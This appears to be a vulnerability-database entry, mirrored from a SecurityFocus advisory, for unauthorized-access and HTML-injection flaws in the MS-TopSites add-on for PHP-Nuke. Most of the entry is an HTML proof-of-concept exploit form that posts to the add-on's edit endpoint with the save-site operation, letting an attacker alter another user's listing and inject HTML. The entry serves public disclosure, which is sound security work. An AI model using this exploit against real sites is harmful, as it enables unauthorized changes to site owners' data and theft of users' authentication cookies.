Weblord.it MS-TopSites Unauthorized Access Vulnerability and HTML Injection Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType

MS-TopSites Unauthorized Access and HTML Injection Vulnerabilitie


                                                source: http://www.securityfocus.com/bid/26358/info

MS-TopSites is prone to an unauthorized-access vulnerability and an HTML-injection vulnerability because the application fails to sufficiently sanitize user-supplied data.

An attacker can exploit these issues to gain elevated privileges on the affected application, execute arbitrary code within the context of the webserver, and steal cookie-based authentication credentials. 

&#60;html&#62;&#60;title&#62;PhpNuke (add-on) MS TopSites Edit Exploit And Html Injection&#60;/title&#62;
&#60;body bgcolor=&#34;black&#34; text=&#34;white&#34;&#62;
&#60;form action=&#34;http://localhost:81/modules.php?name=MS_TopSites&file=edit &#34; method=&#34;post&#34;&#62;
&#60;input size=&#34;92&#34; type=&#34;text&#34; value=&#039;&#039; name=&#34;sname&#34;&#62; SiteNameTitle [sname] (not Target it must be changed in the source) &#60;br /&#62;
&#60;input size=&#34;92&#34; type=&#34;text&#34; value=&#34;&#34; name=&#34;uname&#34;&#62; Username [uname] &#60;br /&#62;
&#60;input size=&#34;92&#34; type=&#34;text&#34; value=&#34; http://www.0x90.com.ar&#34; name=&#34;url&#34;&#62; Url&#60;br /&#62;
&#60;input size=&#34;92&#34; type=&#34;text&#34; value=&#34;[email protected]&#34; name=&#34;email&#34;&#62; Email&#60;br /&#62;
&#60;input size=&#34;92&#34; type=&#34;text&#34; value=&#039;&#039; name=&#34;bottonurl&#34;&#62; BottonUrl&#60;br /&#62;
&#60;input size=&#34;92&#34; type=&#34;text&#34; value=&#34;Art&#34; name=&#34;cat&#34;&#62; Cat &#60;br /&#62;
&#60;input size=&#34;92&#34; type=&#34;text&#34; value=&#34;Wedonotneeddescriptions&#34; name=&#34;description&#34;&#62; Descriptions&#60;br /&#62;
&#60;input type=&#34;hidden&#34; value=&#34;MSTopSitesSaveSite&#34; name=&#34;op&#34;&#62;&#60;br /&#62;
&#60;input type=&#34;submit&#34; value=&#34;submit&#34;&#62;&#60;br /&#62;
&#60;/body&#62;&#60;/form&#62;
&#60;/html&#62;

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1